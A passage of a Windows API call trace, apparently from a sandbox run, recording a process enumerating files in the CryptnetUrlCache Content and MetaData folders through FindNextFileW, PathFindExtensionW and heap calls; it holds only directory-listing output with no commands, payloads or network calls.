Size=0xb0) returned 0x323ec00 [0115.005] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0115.005] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.005] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned="" [0115.005] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0115.005] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54322770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54322770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", cAlternateFileName="BC570E~2")) returned 1 [0115.005] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.005] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned="" [0115.005] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", cAlternateFileName="BC570E~1")) returned 1 [0115.005] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned="" [0115.005] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x56bb3b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x56bb3b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaeca3800, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", cAlternateFileName="C46E7B~2")) returned 1 [0115.005] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned="" [0115.005] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x682fbd00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x682fbd00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae0bca00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", cAlternateFileName="C46E7B~3")) returned 1 [0115.005] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned="" [0115.005] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5461c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5461c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf67eb30, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", cAlternateFileName="C46E7B~1")) returned 1 [0115.005] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned="" [0115.005] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x728c68a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x728c68a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xae63dce0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x5ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", cAlternateFileName="D47DBD~2")) returned 1 [0115.005] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned="" [0115.005] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x545f6190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x545f6190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69b6e1e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x5ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", cAlternateFileName="D47DBD~1")) returned 1 [0115.005] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned="" [0115.005] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x808d4a70, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x808d4a70, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x808d4a70, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x663, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", cAlternateFileName="D52C56~1")) returned 1 [0115.006] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned="" [0115.006] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x683e0540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x683e0540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f015a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x64b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", cAlternateFileName="EA6180~1")) returned 1 [0115.006] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned="" [0115.006] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf312b90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf312b90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf312b90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", cAlternateFileName="F293AE~1")) returned 1 [0115.006] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned="" [0115.006] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x226, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 1 [0115.006] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F90F18257CBB4D84216AC1E1F3BB2C76") returned="" [0115.006] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x226, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 0 [0115.006] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.007] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.007] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0115.007] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="MetaData\\" [0115.007] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\") returned="CryptnetUrlCache\\" [0115.007] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0115.007] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0115.007] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0115.007] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0115.007] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0115.007] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0115.007] PathFindFileNameW (pszPath="") returned="" [0115.007] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0115.009] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.010] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf9eaad0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf9eaad0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf9eaad0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", cAlternateFileName="024823~1")) returned 1 [0115.010] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned="" [0115.010] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bd8410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bd8410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe98d390, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", cAlternateFileName="0F1583~1")) returned 1 [0115.010] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned="" [0115.010] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf952550, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf952550, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf952550, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", cAlternateFileName="1BB09B~1")) returned 1 [0115.011] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned="" [0115.011] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x4c00edb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4c00edb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4c00edb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1DAF2884EC4DFA96BA4A58D4DBC9C406", cAlternateFileName="1DAF28~1")) returned 1 [0115.011] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1DAF2884EC4DFA96BA4A58D4DBC9C406") returned="" [0115.011] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x580eb5c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x580eb5c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaedd4300, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x124, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="23B523C9E7746F715D33C6527C18EB9D", cAlternateFileName="23B523~1")) returned 1 [0115.011] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\23B523C9E7746F715D33C6527C18EB9D") returned="" [0115.011] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xc3791460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc3791460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc3791460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3130B1871A126520A8C47861EFE3ED4D", cAlternateFileName="3130B1~1")) returned 1 [0115.011] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3130B1871A126520A8C47861EFE3ED4D") returned="" [0115.011] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53fdc930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53fdc930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf16fc70, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", cAlternateFileName="3388EC~1")) returned 1 [0115.011] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned="" [0115.011] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53b19d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53b19d30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54583d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", cAlternateFileName="40E450~1")) returned 1 [0115.011] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned="" [0115.011] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54537ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54537ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae76e7e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", cAlternateFileName="4C8F84~1")) returned 1 [0115.011] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned="" [0115.011] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7295ee20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7295ee20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xadfb2060, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", cAlternateFileName="4DD397~1")) returned 1 [0115.011] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned="" [0115.011] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf8b9fd0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf8b9fd0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf8b9fd0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", cAlternateFileName="5080DC~2")) returned 1 [0115.011] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned="" [0115.011] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf86dd10, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf86dd10, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf86dd10, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", cAlternateFileName="5080DC~1")) returned 1 [0115.011] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned="" [0115.011] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf7af630, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", cAlternateFileName="5457A8~1")) returned 1 [0115.011] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned="" [0115.012] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xed9b0820, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xed9b0820, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xed9b0820, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0xf4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="696F3DE637E6DE85B458996D49D759AD", cAlternateFileName="696F3D~1")) returned 1 [0115.012] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD") returned="" [0115.012] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf763370, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, 